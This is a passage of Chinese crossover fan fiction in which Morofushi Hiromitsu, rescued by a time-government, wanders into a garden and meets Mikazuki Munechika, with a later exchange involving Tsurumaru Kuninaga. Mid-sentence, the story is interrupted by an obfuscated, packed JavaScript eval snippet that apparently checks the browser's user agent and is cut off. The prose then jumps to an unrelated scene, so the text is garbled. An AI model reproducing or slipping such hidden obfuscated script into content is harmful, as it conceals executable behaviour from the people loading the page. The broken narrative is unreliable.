比如,楼梯间突然出现的脚步声,源自于谁。 ……是zero吧。 也只有可能是zero了。 诸伏景光愿意以自杀的形式来保护同伴,但这并不代表着他想要赴死,他有直面死亡的勇气,但同样,他也有想活下去的私心。 但既然他能够找到一个活下去的机会,也当然会拼尽全力的让自己活下去。 ……毕竟,他总不能真的让zero一个人孤军奋战吧。 他当然也有听工作人员的介绍,知道时政是为了保护历史而存在,而他的死亡在时政之中已成为历史,时政断然不可能为他改变历史节点,如果被原封不动的送回那个时间点,那么等待他的结局只有死亡。 所以他现在还不能回去,至少不能以这种方式回去。 诸伏景光并不打算改变历史,他要创造一个属于他的新的历史——毕竟,他现在就活生生的站在这里,他的未来不是时政的“已知”,将会是全新的未知。 而在回去之前,诸伏景光率先得要先活下去。 只有活下去,他才会有希望;只有活下去,他才能够拥有未来;只有活下去,他才能够帮到zero。 这一路上诸伏景光想了很多,时政的工作人员的确忙碌,说是让诸伏景光自由活动,便真是自由活动,没有人跟上他,更没人打扰他,他最后也不知道自己究竟走到哪里,直到推开眼前的那扇门,诸伏景光才意识到自己走错路了。 这里是一处小巧的花园,斑驳的阳光透过花丛点缀在其间,万紫千红,香气氤氲。连通着青石小径的正中央是一个石桌,凳上坐着一个人,微风轻拂,对方发间的流苏沙沙作响。 “抱歉。”诸伏景光也不知道这里是否仍然是公共区域,也不知道是不是自己不小心闯入了他人的私人领域,还是先道了一句歉,“我不小心迷了路,请问这里是?” “哈哈。”深蓝色短发的男人浑身散发着一股说不清的贵族姿态,蓝色的瞳孔里还映着浅淡的金色的三日月纹路,“不用担心,如果是迷路了的话,工作人员很快就会找上门的。” 对方的手里还端着一盏茶,脸上是熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前听过工作人员充分的介绍,诸伏景光当然知道审神者是什么,他似乎是有些犹豫,并没有回应,而他身旁的三日月宗近却又是随性的笑了一声: “时政的招聘现场吗,甚好甚好,这样的场景也是难得一遇。只不过这位小郎君,恐怕不能如你们的愿了。” “咦?”工作人员那是相当的茫然,“三日月殿何出此言?” “哈哈,那当然是因为——” …… “因为我只是一名没有灵力的普通人,没有办法供养一个本丸。” 回忆到了这里,诸伏景光歪了一下脑袋: “鹤的这句话真是奇怪,那刃一期一振,怎么想都不可能是我的刀剑吧,还是说,鹤不打算信任我?” “哎呀,少主真是误解我的意思了。”鹤丸国永仍然笑眯眯,他没有说信与不信,只是道,“我的意思是说,一期殿神上的灵力与那位小审神者的灵力简直是一模一样——那位小审神者不是少主的同位体吗,所以我说,一期一振身上的灵力与少主一模一样,没有任何问题吧?”